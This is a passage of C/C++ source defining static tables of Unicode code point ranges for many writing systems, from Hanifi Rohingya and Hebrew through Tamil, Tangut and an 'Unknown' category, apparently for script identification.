{0xFFA0, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, }; static const UnicodeRange kRanges_Hanifi_Rohingya[] = { {0x60C, 0x60C}, {0x61B, 0x61B}, {0x61F, 0x61F}, {0x640, 0x640}, {0x6D4, 0x6D4}, {0x10D00, 0x10D27}, {0x10D30, 0x10D39}, }; static const UnicodeRange kRanges_Hanunoo[] = { {0x1720, 0x1736}, }; static const UnicodeRange kRanges_Hatran[] = { {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x108FB, 0x108FF}, }; static const UnicodeRange kRanges_Hebrew[] = { {0x307, 0x308}, {0x591, 0x5C7}, {0x5D0, 0x5EA}, {0x5EF, 0x5F4}, {0xFB1D, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFB4F}, }; static const UnicodeRange kRanges_Hiragana[] = { {0x3001, 0x3003}, {0x3008, 0x3011}, {0x3013, 0x301F}, {0x3030, 0x3035}, {0x3037, 0x3037}, {0x303C, 0x303D}, {0x3041, 0x3096}, {0x3099, 0x30A0}, {0x30FB, 0x30FC}, {0xFE45, 0xFE46}, {0xFF61, 0xFF65}, {0xFF70, 0xFF70}, {0xFF9E, 0xFF9F}, {0x1B001, 0x1B11F}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1F200, 0x1F200}, }; static const UnicodeRange kRanges_Imperial_Aramaic[] = { {0x10840, 0x10855}, {0x10857, 0x1085F}, }; static const UnicodeRange kRanges_Inherited[] = { {0x30F, 0x30F}, {0x312, 0x312}, {0x314, 0x322}, {0x326, 0x32C}, {0x32F, 0x32F}, {0x332, 0x341}, {0x343, 0x344}, {0x346, 0x357}, {0x359, 0x35D}, {0x35F, 0x362}, {0x953, 0x954}, {0x1AB0, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1DC2, 0x1DF7}, {0x1DF9, 0x1DF9}, {0x1DFB, 0x1DFF}, {0x200C, 0x200D}, {0x20D0, 0x20EF}, {0xFE00, 0xFE0F}, {0xFE20, 0xFE2D}, {0x101FD, 0x101FD}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D167, 0x1D169}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_Inscriptional_Pahlavi[] = { {0x10B60, 0x10B72}, {0x10B78, 0x10B7F}, }; static const UnicodeRange kRanges_Inscriptional_Parthian[] = { {0x10B40, 0x10B55}, {0x10B58, 0x10B5F}, }; static const UnicodeRange kRanges_Javanese[] = { {0xA980, 0xA9CD}, {0xA9CF, 0xA9D9}, {0xA9DE, 0xA9DF}, }; static const UnicodeRange kRanges_Kaithi[] = { {0x966, 0x96F}, {0x2E31, 0x2E31}, {0xA830, 0xA839}, {0x11080, 0x110C2}, {0x110CD, 0x110CD}, }; static const UnicodeRange kRanges_Kannada[] = { {0x951, 0x952}, {0x964, 0x965}, {0xC80, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBC, 0xCC4}, {0xCC6, 0xCC8}, {0xCCA, 0xCCD}, {0xCD5, 0xCD6}, {0xCDC, 0xCDE}, {0xCE0, 0xCE3}, {0xCE6, 0xCEF}, {0xCF1, 0xCF3}, {0x1CD0, 0x1CD0}, {0x1CD2, 0x1CD3}, {0x1CDA, 0x1CDA}, {0x1CF2, 0x1CF2}, {0x1CF4, 0x1CF4}, {0xA830, 0xA835}, }; static const UnicodeRange kRanges_Katakana[] = { {0x305, 0x305}, {0x323, 0x323}, {0x3001, 0x3003}, {0x3008, 0x3011}, {0x3013, 0x301F}, {0x3030, 0x3035}, {0x3037, 0x3037}, {0x303C, 0x303D}, {0x3099, 0x309C}, {0x30A0, 0x30FF}, {0x31F0, 0x31FF}, {0x32D0, 0x32FE}, {0x3300, 0x3357}, {0xFE45, 0xFE46}, {0xFF61, 0xFF9F}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B000}, {0x1B120, 0x1B122}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, }; static const UnicodeRange kRanges_Kawi[] = { {0x11F00, 0x11F10}, {0x11F12, 0x11F3A}, {0x11F3E, 0x11F5A}, }; static const UnicodeRange kRanges_Kayah_Li[] = { {0xA900, 0xA92F}, }; static const UnicodeRange kRanges_Kharoshthi[] = { {0x10A00, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A48}, {0x10A50, 0x10A58}, }; static const UnicodeRange kRanges_Khitan_Small_Script[] = { {0x16FE4, 0x16FE4}, {0x18B00, 0x18CD5}, {0x18CFF, 0x18CFF}, }; static const UnicodeRange kRanges_Khmer[] = { {0x1780, 0x17DD}, {0x17E0, 0x17E9}, {0x17F0, 0x17F9}, {0x19E0, 0x19FF}, }; static const UnicodeRange kRanges_Khojki[] = { {0xAE6, 0xAEF}, {0xA830, 0xA839}, {0x11200, 0x11211}, {0x11213, 0x11241}, }; static const UnicodeRange kRanges_Khudawadi[] = { {0x964, 0x965}, {0xA830, 0xA839}, {0x112B0, 0x112EA}, {0x112F0, 0x112F9}, }; static const UnicodeRange kRanges_Kirat_Rai[] = { {0x16D40, 0x16D79}, }; static const UnicodeRange kRanges_Lao[] = { {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEC8, 0xECE}, {0xED0, 0xED9}, {0xEDC, 0xEDF}, }; static const UnicodeRange kRanges_Latin[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB7, 0xB7}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2B8}, {0x2BC, 0x2BC}, {0x2C7, 0x2C7}, {0x2C9, 0x2CB}, {0x2CD, 0x2CD}, {0x2D7, 0x2D7}, {0x2D9, 0x2D9}, {0x2E0, 0x2E4}, {0x300, 0x30E}, {0x310, 0x311}, {0x313, 0x313}, {0x323, 0x325}, {0x32D, 0x32E}, {0x330, 0x331}, {0x358, 0x358}, {0x35E, 0x35E}, {0x363, 0x36F}, {0x485, 0x486}, {0x951, 0x952}, {0x10FB, 0x10FB}, {0x1D00, 0x1D25}, {0x1D2C, 0x1D5C}, {0x1D62, 0x1D65}, {0x1D6B, 0x1D77}, {0x1D79, 0x1DBE}, {0x1DF8, 0x1DF8}, {0x1E00, 0x1EFF}, {0x202F, 0x202F}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x20F0, 0x20F0}, {0x212A, 0x212B}, {0x2132, 0x2132}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x2C60, 0x2C7F}, {0x2E17, 0x2E17}, {0xA700, 0xA707}, {0xA722, 0xA787}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA7FF}, {0xA92E, 0xA92E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB64}, {0xAB66, 0xAB69}, {0xFB00, 0xFB06}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, }; static const UnicodeRange kRanges_Lepcha[] = { {0x1C00, 0x1C37}, {0x1C3B, 0x1C49}, {0x1C4D, 0x1C4F}, }; static const UnicodeRange kRanges_Limbu[] = { {0x965, 0x965}, {0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x193B}, {0x1940, 0x1940}, {0x1944, 0x194F}, }; static const UnicodeRange kRanges_Linear_A[] = { {0x10107, 0x10133}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, }; static const UnicodeRange kRanges_Linear_B[] = { {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10100, 0x10102}, {0x10107, 0x10133}, {0x10137, 0x1013F}, }; static const UnicodeRange kRanges_Lisu[] = { {0x2BC, 0x2BC}, {0x2CD, 0x2CD}, {0x300A, 0x300B}, {0xA4D0, 0xA4FF}, {0x11FB0, 0x11FB0}, }; static const UnicodeRange kRanges_Lycian[] = { {0x205A, 0x205A}, {0x10280, 0x1029C}, }; static const UnicodeRange kRanges_Lydian[] = { {0xB7, 0xB7}, {0x2E31, 0x2E31}, {0x10920, 0x10939}, {0x1093F, 0x1093F}, }; static const UnicodeRange kRanges_Mahajani[] = { {0xB7, 0xB7}, {0x964, 0x96F}, {0xA830, 0xA839}, {0x11150, 0x11176}, }; static const UnicodeRange kRanges_Makasar[] = { {0x11EE0, 0x11EF8}, }; static const UnicodeRange kRanges_Malayalam[] = { {0x951, 0x952}, {0x964, 0x965}, {0xD00, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD44}, {0xD46, 0xD48}, {0xD4A, 0xD4F}, {0xD54, 0xD63}, {0xD66, 0xD7F}, {0x1CDA, 0x1CDA}, {0x1CF2, 0x1CF2}, {0xA830, 0xA832}, }; static const UnicodeRange kRanges_Mandaic[] = { {0x640, 0x640}, {0x840, 0x85B}, {0x85E, 0x85E}, }; static const UnicodeRange kRanges_Manichaean[] = { {0x640, 0x640}, {0x10AC0, 0x10AE6}, {0x10AEB, 0x10AF6}, }; static const UnicodeRange kRanges_Marchen[] = { {0x11C70, 0x11C8F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, }; static const UnicodeRange kRanges_Masaram_Gondi[] = { {0x964, 0x965}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D47}, {0x11D50, 0x11D59}, }; static const UnicodeRange kRanges_Medefaidrin[] = { {0x16E40, 0x16E9A}, }; static const UnicodeRange kRanges_Meetei_Mayek[] = { {0xAAE0, 0xAAF6}, {0xABC0, 0xABED}, {0xABF0, 0xABF9}, }; static const UnicodeRange kRanges_Mende_Kikakui[] = { {0x1E800, 0x1E8C4}, {0x1E8C7, 0x1E8D6}, }; static const UnicodeRange kRanges_Meroitic_Cursive[] = { {0x109A0, 0x109B7}, {0x109BC, 0x109CF}, {0x109D2, 0x109FF}, }; static const UnicodeRange kRanges_Meroitic_Hieroglyphs[] = { {0x205D, 0x205D}, {0x10980, 0x1099F}, }; static const UnicodeRange kRanges_Miao[] = { {0x16F00, 0x16F4A}, {0x16F4F, 0x16F87}, {0x16F8F, 0x16F9F}, }; static const UnicodeRange kRanges_Modi[] = { {0xA830, 0xA839}, {0x11600, 0x11644}, {0x11650, 0x11659}, }; static const UnicodeRange kRanges_Mongolian[] = { {0x1800, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x18AA}, {0x202F, 0x202F}, {0x3001, 0x3002}, {0x3008, 0x300B}, {0x11660, 0x1166C}, }; static const UnicodeRange kRanges_Mro[] = { {0x16A40, 0x16A5E}, {0x16A60, 0x16A69}, {0x16A6E, 0x16A6F}, }; static const UnicodeRange kRanges_Multani[] = { {0xA66, 0xA6F}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A9}, }; static const UnicodeRange kRanges_Myanmar[] = { {0x1000, 0x109F}, {0xA92E, 0xA92E}, {0xA9E0, 0xA9FE}, {0xAA60, 0xAA7F}, {0x116D0, 0x116E3}, }; static const UnicodeRange kRanges_Nabataean[] = { {0x10880, 0x1089E}, {0x108A7, 0x108AF}, }; static const UnicodeRange kRanges_Nag_Mundari[] = { {0x1E4D0, 0x1E4F9}, }; static const UnicodeRange kRanges_Nandinagari[] = { {0x951, 0x951}, {0x964, 0x965}, {0xCE6, 0xCEF}, {0x1CE9, 0x1CE9}, {0x1CF2, 0x1CF2}, {0x1CFA, 0x1CFA}, {0xA830, 0xA835}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119E4}, }; static const UnicodeRange kRanges_New_Tai_Lue[] = { {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA}, {0x19DE, 0x19DF}, }; static const UnicodeRange kRanges_Newa[] = { {0x951, 0x952}, {0x1CD5, 0x1CD5}, {0x1CD7, 0x1CD8}, {0x1CE2, 0x1CE2}, {0x1CE9, 0x1CE9}, {0x1CEB, 0x1CEB}, {0x1CED, 0x1CED}, {0x11400, 0x1145B}, {0x1145D, 0x11461}, }; static const UnicodeRange kRanges_Nko[] = { {0x60C, 0x60C}, {0x61B, 0x61B}, {0x61F, 0x61F}, {0x7C0, 0x7FA}, {0x7FD, 0x7FF}, {0xFD3E, 0xFD3F}, }; static const UnicodeRange kRanges_Nushu[] = { {0x16FE1, 0x16FE1}, {0x1B170, 0x1B2FB}, }; static const UnicodeRange kRanges_Nyiakeng_Puachue_Hmong[] = { {0x1E100, 0x1E12C}, {0x1E130, 0x1E13D}, {0x1E140, 0x1E149}, {0x1E14E, 0x1E14F}, }; static const UnicodeRange kRanges_Ogham[] = { {0x1680, 0x169C}, }; static const UnicodeRange kRanges_Ol_Chiki[] = { {0x1C50, 0x1C7F}, }; static const UnicodeRange kRanges_Ol_Onal[] = { {0x964, 0x965}, {0x1E5D0, 0x1E5FA}, {0x1E5FF, 0x1E5FF}, }; static const UnicodeRange kRanges_Old_Hungarian[] = { {0x205A, 0x205A}, {0x205D, 0x205D}, {0x2E31, 0x2E31}, {0x2E41, 0x2E41}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10CFA, 0x10CFF}, }; static const UnicodeRange kRanges_Old_Italic[] = { {0x10300, 0x10323}, {0x1032D, 0x1032F}, }; static const UnicodeRange kRanges_Old_North_Arabian[] = { {0x10A80, 0x10A9F}, }; static const UnicodeRange kRanges_Old_Permic[] = { {0xB7, 0xB7}, {0x300, 0x300}, {0x306, 0x308}, {0x313, 0x313}, {0x483, 0x483}, {0x10350, 0x1037A}, }; static const UnicodeRange kRanges_Old_Persian[] = { {0x103A0, 0x103C3}, {0x103C8, 0x103D5}, }; static const UnicodeRange kRanges_Old_Sogdian[] = { {0x10F00, 0x10F27}, }; static const UnicodeRange kRanges_Old_South_Arabian[] = { {0x10A60, 0x10A7F}, }; static const UnicodeRange kRanges_Old_Turkic[] = { {0x205A, 0x205A}, {0x2E30, 0x2E30}, {0x10C00, 0x10C48}, }; static const UnicodeRange kRanges_Old_Uyghur[] = { {0x640, 0x640}, {0x10AF2, 0x10AF2}, {0x10F70, 0x10F89}, }; static const UnicodeRange kRanges_Oriya[] = { {0x951, 0x952}, {0x964, 0x965}, {0xB01, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3C, 0xB44}, {0xB47, 0xB48}, {0xB4B, 0xB4D}, {0xB55, 0xB57}, {0xB5C, 0xB5D}, {0xB5F, 0xB63}, {0xB66, 0xB77}, {0x1CDA, 0x1CDA}, {0x1CF2, 0x1CF2}, }; static const UnicodeRange kRanges_Osage[] = { {0x301, 0x301}, {0x304, 0x304}, {0x30B, 0x30B}, {0x358, 0x358}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, }; static const UnicodeRange kRanges_Osmanya[] = { {0x10480, 0x1049D}, {0x104A0, 0x104A9}, }; static const UnicodeRange kRanges_Pahawh_Hmong[] = { {0x16B00, 0x16B45}, {0x16B50, 0x16B59}, {0x16B5B, 0x16B61}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, }; static const UnicodeRange kRanges_Palmyrene[] = { {0x10860, 0x1087F}, }; static const UnicodeRange kRanges_Pau_Cin_Hau[] = { {0x11AC0, 0x11AF8}, }; static const UnicodeRange kRanges_Phags_Pa[] = { {0x1802, 0x1803}, {0x1805, 0x1805}, {0x202F, 0x202F}, {0x3002, 0x3002}, {0xA840, 0xA877}, }; static const UnicodeRange kRanges_Phoenician[] = { {0x10900, 0x1091B}, {0x1091F, 0x1091F}, }; static const UnicodeRange kRanges_Psalter_Pahlavi[] = { {0x640, 0x640}, {0x10B80, 0x10B91}, {0x10B99, 0x10B9C}, {0x10BA9, 0x10BAF}, }; static const UnicodeRange kRanges_Rejang[] = { {0xA930, 0xA953}, {0xA95F, 0xA95F}, }; static const UnicodeRange kRanges_Runic[] = { {0x16A0, 0x16F8}, }; static const UnicodeRange kRanges_Samaritan[] = { {0x800, 0x82D}, {0x830, 0x83E}, {0x2E31, 0x2E31}, }; static const UnicodeRange kRanges_Saurashtra[] = { {0xA880, 0xA8C5}, {0xA8CE, 0xA8D9}, }; static const UnicodeRange kRanges_Sharada[] = { {0x951, 0x951}, {0x1CD7, 0x1CD7}, {0x1CD9, 0x1CD9}, {0x1CDC, 0x1CDD}, {0x1CE0, 0x1CE0}, {0x1CEA, 0x1CEA}, {0x1CED, 0x1CED}, {0xA830, 0xA835}, {0xA838, 0xA838}, {0x11180, 0x111DF}, {0x11B60, 0x11B67}, }; static const UnicodeRange kRanges_Shavian[] = { {0xB7, 0xB7}, {0x10450, 0x1047F}, }; static const UnicodeRange kRanges_Siddham[] = { {0x11580, 0x115B5}, {0x115B8, 0x115DD}, }; static const UnicodeRange kRanges_Sidetic[] = { {0x10940, 0x10959}, }; static const UnicodeRange kRanges_SignWriting[] = { {0x1D800, 0x1DA8B}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, }; static const UnicodeRange kRanges_Sinhala[] = { {0x964, 0x965}, {0xD81, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDCA, 0xDCA}, {0xDCF, 0xDD4}, {0xDD6, 0xDD6}, {0xDD8, 0xDDF}, {0xDE6, 0xDEF}, {0xDF2, 0xDF4}, {0x1CF2, 0x1CF2}, {0x111E1, 0x111F4}, }; static const UnicodeRange kRanges_Sogdian[] = { {0x640, 0x640}, {0x10F30, 0x10F59}, }; static const UnicodeRange kRanges_Sora_Sompeng[] = { {0x110D0, 0x110E8}, {0x110F0, 0x110F9}, }; static const UnicodeRange kRanges_Soyombo[] = { {0x11A50, 0x11AA2}, }; static const UnicodeRange kRanges_Sundanese[] = { {0x1B80, 0x1BBF}, {0x1CC0, 0x1CC7}, }; static const UnicodeRange kRanges_Sunuwar[] = { {0x300, 0x301}, {0x303, 0x303}, {0x30D, 0x30D}, {0x310, 0x310}, {0x32D, 0x32D}, {0x331, 0x331}, {0x11BC0, 0x11BE1}, {0x11BF0, 0x11BF9}, }; static const UnicodeRange kRanges_Syloti_Nagri[] = { {0x964, 0x965}, {0x9E6, 0x9EF}, {0xA800, 0xA82C}, }; static const UnicodeRange kRanges_Syriac[] = { {0x303, 0x304}, {0x307, 0x308}, {0x30A, 0x30A}, {0x323, 0x325}, {0x32D, 0x32E}, {0x330, 0x331}, {0x60C, 0x60C}, {0x61B, 0x61C}, {0x61F, 0x61F}, {0x640, 0x640}, {0x64B, 0x655}, {0x670, 0x670}, {0x700, 0x70D}, {0x70F, 0x74A}, {0x74D, 0x74F}, {0x860, 0x86A}, {0x1DF8, 0x1DF8}, {0x1DFA, 0x1DFA}, }; static const UnicodeRange kRanges_Tagalog[] = { {0x1700, 0x1715}, {0x171F, 0x171F}, {0x1735, 0x1736}, }; static const UnicodeRange kRanges_Tagbanwa[] = { {0x1735, 0x1736}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1772, 0x1773}, }; static const UnicodeRange kRanges_Tai_Le[] = { {0x300, 0x301}, {0x307, 0x308}, {0x30C, 0x30C}, {0x1040, 0x1049}, {0x1950, 0x196D}, {0x1970, 0x1974}, }; static const UnicodeRange kRanges_Tai_Tham[] = { {0x1A20, 0x1A5E}, {0x1A60, 0x1A7C}, {0x1A7F, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA0, 0x1AAD}, }; static const UnicodeRange kRanges_Tai_Viet[] = { {0xAA80, 0xAAC2}, {0xAADB, 0xAADF}, }; static const UnicodeRange kRanges_Tai_Yo[] = { {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6F5}, {0x1E6FE, 0x1E6FF}, }; static const UnicodeRange kRanges_Takri[] = { {0x964, 0x965}, {0xA830, 0xA839}, {0x11680, 0x116B9}, {0x116C0, 0x116C9}, }; static const UnicodeRange kRanges_Tamil[] = { {0x951, 0x952}, {0x964, 0x965}, {0xB82, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBE, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCD}, {0xBD0, 0xBD0}, {0xBD7, 0xBD7}, {0xBE6, 0xBFA}, {0x1CDA, 0x1CDA}, {0xA8F3, 0xA8F3}, {0x11301, 0x11301}, {0x11303, 0x11303}, {0x1133B, 0x1133C}, {0x11FC0, 0x11FF1}, {0x11FFF, 0x11FFF}, }; static const UnicodeRange kRanges_Tangsa[] = { {0x16A70, 0x16ABE}, {0x16AC0, 0x16AC9}, }; static const UnicodeRange kRanges_Tangut[] = { {0x2FF0, 0x2FFF}, {0x31EF, 0x31EF}, {0x16FE0, 0x16FE0}, {0x17000, 0x18AFF}, {0x18D00, 0x18D1E}, {0x18D80, 0x18DF2}, }; static const UnicodeRange kRanges_Telugu[] = { {0x951, 0x952}, {0x964, 0x965}, {0xC00, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3C, 0xC44}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC63}, {0xC66, 0xC6F}, {0xC77, 0xC7F}, {0x1CD5, 0x1CD6}, {0x1CD8, 0x1CD8}, {0x1CDA, 0x1CDA}, {0x1CF2, 0x1CF2}, }; static const UnicodeRange kRanges_Thaana[] = { {0x60C, 0x60C}, {0x61B, 0x61C}, {0x61F, 0x61F}, {0x660, 0x669}, {0x780, 0x7B1}, {0xFDF2, 0xFDF2}, {0xFDFD, 0xFDFD}, }; static const UnicodeRange kRanges_Thai[] = { {0x2BC, 0x2BC}, {0x2D7, 0x2D7}, {0x303, 0x303}, {0x331, 0x331}, {0xE01, 0xE3A}, {0xE40, 0xE5B}, }; static const UnicodeRange kRanges_Tibetan[] = { {0xF00, 0xF47}, {0xF49, 0xF6C}, {0xF71, 0xF97}, {0xF99, 0xFBC}, {0xFBE, 0xFCC}, {0xFCE, 0xFD4}, {0xFD9, 0xFDA}, {0x3008, 0x300B}, }; static const UnicodeRange kRanges_Tifinagh[] = { {0x302, 0x302}, {0x304, 0x304}, {0x306, 0x309}, {0x323, 0x323}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D70}, {0x2D7F, 0x2D7F}, }; static const UnicodeRange kRanges_Tirhuta[] = { {0x951, 0x952}, {0x964, 0x965}, {0x1CD5, 0x1CD5}, {0x1CE2, 0x1CE2}, {0x1CF2, 0x1CF2}, {0xA830, 0xA839}, {0x11480, 0x114C7}, {0x114D0, 0x114D9}, }; static const UnicodeRange kRanges_Todhri[] = { {0x301, 0x301}, {0x304, 0x304}, {0x307, 0x307}, {0x311, 0x311}, {0x313, 0x313}, {0x35E, 0x35E}, {0x105C0, 0x105F3}, }; static const UnicodeRange kRanges_Tolong_Siki[] = { {0x11DB0, 0x11DDB}, {0x11DE0, 0x11DE9}, }; static const UnicodeRange kRanges_Toto[] = { {0x2BC, 0x2BC}, {0x1E290, 0x1E2AE}, }; static const UnicodeRange kRanges_Tulu_Tigalari[] = { {0xCE6, 0xCEF}, {0x1CF2, 0x1CF2}, {0x1CF4, 0x1CF4}, {0xA830, 0xA835}, {0xA8F1, 0xA8F1}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113D5}, {0x113D7, 0x113D8}, {0x113E1, 0x113E2}, }; static const UnicodeRange kRanges_Ugaritic[] = { {0x10380, 0x1039D}, {0x1039F, 0x1039F}, }; static const UnicodeRange kRanges_Unknown[] = { {0x378, 0x379}, {0x380, 0x383}, {0x38B, 0x38B}, {0x38D, 0x38D}, {0x3A2, 0x3A2}, {0x530, 0x530}, {0x557, 0x558}, {0x58B, 0x58C}, {0x590, 0x590}, {0x5C8, 0x5CF}, {0x5EB, 0x5EE}, {0x5F5, 0x5FF}, {0x70E, 0x70E}, {0x74B, 0x74C}, {0x7B2, 0x7BF}, {0x7FB, 0x7FC}, {0x82E, 0x82F}, {0x83F, 0x83F}, {0x85C, 0x85D}, {0x85F, 0x85F}, {0x86B, 0x86F}, {0x892, 0x896}, {0x984, 0x984}, {0x98D, 0x98E}, {0x991, 0x992}, {0x9A9, 0x9A9}, {0x9B1, 0x9B1}, {0x9B3, 0x9B5}, {0x9BA, 0x9BB}, {0x9C5, 0x9C6}, {0x9C9, 0x9CA}, {0x9CF, 0x9D6}, {0x9D8, 0x9DB}, {0x9DE, 0x9DE}, {0x9E4, 0x9E5}, {0x9FF, 0xA00}, {0xA04, 0xA04}, {0xA0B, 0xA0E}, {0xA11, 0xA12}, {0xA29, 0xA29}, {0xA31, 0xA31}, {0xA34, 0xA34}, {0xA37, 0xA37}, {0xA3A, 0xA3B}, {0xA3D, 0xA3D}, {0xA43, 0xA46}, {0xA49, 0xA4A}, {0xA4E, 0xA50}, {0xA52, 0xA58}, {0xA5D, 0xA5D}, {0xA5F, 0xA65}, {0xA77, 0xA80}, {0xA84, 0xA84}, {0xA8E, 0xA8E}, {0xA92, 0xA92}, {0xAA9, 0xAA9}, {0xAB1, 0xAB1}, {0xAB4, 0xAB4}, {0xABA, 0xABB}, {0xAC6, 0xAC6}, {0xACA, 0xACA}, {0xACE, 0xACF}, {0xAD1, 0xADF}, {0xAE4, 0xAE5}, {0xAF2, 0xAF8}, {0xB00, 0xB00}, {0xB04, 0xB04}, {0xB0D, 0xB0E}, {0xB11, 0xB12}, {0xB29, 0xB29}, {0xB31, 0xB31}, {0xB34, 0xB34}, {0xB3A, 0xB3B}, {0xB45, 0xB46}, {0xB49, 0xB4A}, {0xB4E, 0xB54}, {0xB58, 0xB5B}, {0xB5E, 0xB5E}, {0xB64, 0xB65}, {0xB78, 0xB81}, {0xB84, 0xB84}, {0xB8B, 0xB8D}, {0xB91, 0xB91}, {0xB96, 0xB98}, {0xB9B, 0xB9B}, {0xB9D, 0xB9D}, {0xBA0, 0xBA2}, {0xBA5, 0xBA7}, {0xBAB, 0xBAD}, {0xBBA, 0xBBD}, {0xBC3, 0xBC5}, {0xBC9, 0xBC9}, {0xBCE, 0xBCF}, {0xBD1, 0xBD6}, {0xBD8, 0xBE5}, {0xBFB, 0xBFF}, {0xC0D, 0xC0D}, {0xC11, 0xC11}, {0xC29, 0xC29}, {0xC3A, 0xC3B}, {0xC45, 0xC45}, {0xC49, 0xC49}, {0xC4E, 0xC54}, {0xC57, 0xC57}, {0xC5B, 0xC5B}, {0xC5E, 0xC5F}, {0xC64, 0xC65}, {0xC70, 0xC76}, {0xC8D, 0xC8D}, {0xC91, 0xC91}, {0xCA9, 0xCA9}, {0xCB4, 0xCB4}, {0xCBA, 0xCBB}, {0xCC5, 0xCC5}, {0xCC9, 0xCC9}, {0xCCE, 0xCD4}, {0xCD7, 0xCDB}, {0xCDF, 0xCDF}, {0xCE4, 0xCE5}, {0xCF0, 0xCF0}, {0xCF4, 0xCFF}, {0xD0D, 0xD0D}, {0xD11, 0xD11}, {0xD45, 0xD45}, {0xD49, 0xD49}, {0xD50, 0xD53}, {0xD64, 0xD65}, {0xD80, 0xD80}, {0xD84, 0xD84}, {0xD97, 0xD99}, {0xDB2, 0xDB2}, {0xDBC, 0xDBC}, {0xDBE, 0xDBF}, {0xDC7, 0xDC9}, {0xDCB, 0xDCE}, {0xDD5, 0xDD5}, {0xDD7, 0xDD7}, {0xDE0, 0xDE5}, {0xDF0, 0xDF1}, {0xDF5, 0xE00}, {0xE3B, 0xE3E}, {0xE5C, 0xE80}, {0xE83, 0xE83}, {0xE85, 0xE85}, {0xE8B, 0xE8B}, {0xEA4, 0xEA4}, {0xEA6, 0xEA6}, {0xEBE, 0xEBF}, {0xEC5, 0xEC5}, {0xEC7, 0xEC7}, {0xECF, 0xECF}, {0xEDA, 0xEDB}, {0xEE0, 0xEFF}, {0xF48, 0xF48}, {0xF6D, 0xF70}, {0xF98, 0xF98}, {0xFBD, 0xFBD}, {0xFCD, 0xFCD}, {0xFDB, 0xFFF}, {0x10C6, 0x10C6}, {0x10C8, 0x10CC}, {0x10CE, 0x10CF}, {0x1249, 0x1249}, {0x124E, 0x124F}, {0x1257, 0x1257}, {0x1259, 0x1259}, {0x125E, 0x125F}, {0x1289, 0x1289}, {0x128E, 0x128F}, 